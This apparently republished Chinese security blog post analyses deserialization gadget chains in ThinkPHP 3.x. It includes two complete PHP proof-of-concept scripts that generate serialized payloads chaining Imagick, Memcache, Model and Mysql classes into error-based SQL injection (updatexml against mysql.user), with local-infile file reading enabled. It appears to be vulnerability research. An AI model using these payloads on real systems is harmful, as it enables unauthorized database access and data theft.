首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >thinkphp 3.x反序列化分析

thinkphp 3.x反序列化分析

作者头像
红队蓝军
发布2022-05-17 17:59:03
发布2022-05-17 17:59:03
85500
代码可运行
举报
文章被收录于专栏:红队蓝军红队蓝军
运行总次数:0
代码可运行

3.反序列化:

这里主要是挖掘的一些思路与方法 常用的魔法方法:

代码语言:javascript
代码运行次数:0
运行
复制
1.__construct,__destruct
__constuct构建对象的时被调用;
__destruct明确销毁对象或脚本结束时被调用;
2.__get,__set
__set当给不可访问或不存在属性赋值时被调用
__get读取不可访问或不存在属性时被调用
3.__isset,__unset
__isset对不可访问或不存在的属性调用isset()或empty()时被调用
__unset对不可访问或不存在的属性进行unset时被调用
4.__call,__callStatic
__call调用不可访问或不存在的方法时被调用
__callStatic调用不可访问或不存在的静态方法时被调用
5.__sleep,__wakeup
__sleep当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
__wakeup当使用unserialize时被调用,可用于做些对象的初始化操作
6.__clone
进行对象clone时被调用,用来调整对象的克隆行为
7.__toString
当一个类被转换成字符串时被调用
8.__invoke
当以函数方式调用对象时被调用
9.__set_state
当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。
10.__debuginfo

在这里我们从destruct函数分析,当然destruct并非唯一的入口

可能的点: 1.

在这里destroy为无参调用,因此我们全局搜索:

可以发现这里只能使用无参的destroy,经过搜索发现没有满足条件的类, 但值得注意的是,在php7.0及以下版本中,当函数的参数进行字符串拼接的时候可以不用传数值

可以看到筛选出来三个

但是如果使用数组拼接字符串的话,会被强制转化为字符串,因此delete的参数只能为字符串不能为数组

1.1

这里个有字符串拼接,而且$this->sessionName可控我们可以直接利用

1.1.1

继续搜索function delete(

1.1.2

这里可能的函数还是比较多的,直接分析可能能利用的

这个类是抽象类,无法进行序列化和反序列化,因此无法利用

1.1.1.1

无法控制options

1.1.1.2

无法控制$options为数组

1.1.1.3在这里我们可能会想到3.2.3的delete的sql注入,但是在这里我们需要控制options让其为数组才能利用,但是在前面分析发现options只能为字符串,因此就不能直接考虑options了,通过观察发现,this->data这个我们是可控的而且会回调delete方法,导致可以传入一个数值,从而引发delete的sql注入

可以看到pk和this->data都是可控的,因此我们只需要让this->data[

代码语言:javascript
代码运行次数:0
运行
复制
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}


namespace Think\Session\Driver{
use Think\Model;

class Memcache {
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}

}

namespace Think{
use Think\Db\Driver\Mysql;
class Model {
protected $data=array();
protected $pk;
protected $options=array();
protected $db=null;

public function __construct()
{
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
'where'=>'1=1',
'table'=>'mysql.user where 1=updatexml(1,concat(0x7e,user(),0x7e),1)#'

);

}
}
}


//初始化数据库连接
namespace Think\Db\Driver{
use PDO;
class Mysql {

protected $config = array(
'debug' => true,
"charset" => "utf8",
'type' => 'mysql', // 数据库类型
'hostname' => 'localhost', // 服务器地址
'database' => 'thinkphp3', // 数据库名
'username' => 'root', // 用户名
'password' => 'root', // 密码
'hostport' => '3306', // 端口
);
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启后才可读取文件
//PDO::MYSQL_ATTR_MULTI_STATEMENTS => true, //把堆叠开了,开启后可堆叠注入
);

}
}

namespace{
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

结果:

1.1.1.4

这里的this->modelList可控,导致

代码语言:javascript
代码运行次数:0
运行
复制
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}

namespace Think\Session\Driver{
use Think\Model\MergeModel;

class Memcache {
protected $handle;
public function __construct(){
$this->handle = new MergeModel();

}
}
}
namespace Think\Model{
use Think\Db\Driver\Mysql;
class MergeModel {
protected $data=array();
protected $pk;
protected $options=array();
protected $db=null;
protected $modelList=array('mysql.user where 1=updatexml(1,concat(0x7e,user(),0x7e),1)#');
public function __construct()
{
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
'where'=>'1=1'
);

}
}
}

//初始化数据库连接
namespace Think\Db\Driver{
use PDO;
class Mysql {
protected $config = array(
'debug' => true,
"charset" => "utf8",
'type' => 'mysql', // 数据库类型
'hostname' => 'localhost', // 服务器地址
'database' => 'thinkphp3', // 数据库名
'username' => 'root', // 用户名
'password' => 'root', // 密码
'hostport' => '3306', // 端口
);
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启后才可读取文件
//PDO::MYSQL_ATTR_MULTI_STATEMENTS => true, //把堆叠开了,开启后可堆叠注入
);
}
}
namespace{
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

结果:

1.1.1.5

这就和Model类基本上一样了

1.2

1.3

没有拼接,无法利用

2.

同样没有拼接无法利用

在这里看似可以写入文件 实则并无法利用,因为self::$yyTracFILE只能是资源类型,而我们序列化内容,只能是字符串或者整型,因此无法利用

3.

没用可控的并且返回一个对象的handler方法 因此无法利用

4.

和第二个基本上一样,无法利用

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-02-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 红队蓝军 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 3.反序列化:
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档